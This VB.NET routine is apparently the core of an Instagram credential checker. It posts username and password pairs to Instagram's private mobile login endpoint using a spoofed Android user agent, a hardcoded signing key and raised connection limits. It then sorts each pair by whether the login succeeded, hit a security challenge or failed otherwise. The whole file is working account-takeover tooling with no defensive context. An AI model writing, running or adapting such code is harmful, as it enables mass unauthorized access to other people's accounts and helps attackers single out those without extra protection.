Private Sub check(user As String, pass As String)
        Try
            ServicePointManager.DefaultConnectionLimit = 300
            ServicePointManager.UseNagleAlgorithm = False
            ServicePointManager.Expect100Continue = False
            ServicePointManager.CheckCertificateRevocationList = False
            Dim request As HttpWebRequest = HttpWebRequest.Create("https://i.instagram.com/api/v1/accounts/login/")
            request.CookieContainer = New CookieContainer
            request.Method = "POST"
            request.Accept = "*/*"
            '  request.Proxy = Nothing
            request.Headers.Add("X-IG-Connection-Type", "WiFi")
            request.Headers.Add("Accept-Language", "ar-SA;q=1, en-SA;q=0.9")
            request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
            request.UserAgent = "Instagram 10.3.2 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"
            request.Headers.Add("X-IG-Capabilities: 3wI=")
            Dim data As String = "{""username"":""" & user & """,""password"":""" & pass & """,""_csrftoken"":""" & ran() & """,""device_id"":""" & Guid.NewGuid.ToString.ToUpper & """,""login_attempt_count"":""0""}"
            Dim sb As New StringBuilder
            Try
                Dim secretkey As String = "5ad7d6f013666cc93c88fc8af940348bd067b68f0dce3c85122a923f4f74b251"
                Dim sha As New System.Security.Cryptography.HMACSHA256(System.Text.ASCIIEncoding.ASCII.GetBytes(secretkey))
                Dim Hash() As Byte = sha.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(data))
                sb = New StringBuilder(Hash.Length * 2)
                For Each B As Byte In Hash
                    sb.Append(Hex(B).PadLeft(2, "0"))
                Next
            Catch ex As Exception : End Try
            Dim postData As String = "ig_sig_key_version=4&signed_body=" & sb.ToString.ToLower & "." & Web.HttpUtility.UrlEncode(data)
            Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
            request.ContentLength = byteArray.Length
            Dim dataStream As Stream = request.GetRequestStream()
            dataStream.Write(byteArray, 0, byteArray.Length)
            dataStream.Close()
            Dim response As HttpWebResponse = request.GetResponse()
            dataStream = response.GetResponseStream()
            Dim reader As New StreamReader(dataStream)
            Dim responseFromServer As String = reader.ReadToEnd()

            reader.Close()
            dataStream.Close()
            response.Close()

            notSecured += 1
            Ns.Items.Add(user & ":" & pass)



        Catch ex As WebException
            Dim response As WebResponse = ex.Response
            Dim statusCode As HttpStatusCode
            Dim ResponseText As String
            Dim httpResponse As HttpWebResponse = CType(response, HttpWebResponse)
            statusCode = httpResponse.StatusCode
            Dim myStreamReader As New StreamReader(response.GetResponseStream())
            Using (myStreamReader)
                ResponseText = myStreamReader.ReadToEnd
            End Using

            If ResponseText.Contains("challenge") = True Then
                secured += 1
                s.Items.Add(user & ":" & pass)


            Else
                other += 1
                e.Items.Add(user & ":" & pass)



            End If



        End Try

        done += 1
End Sub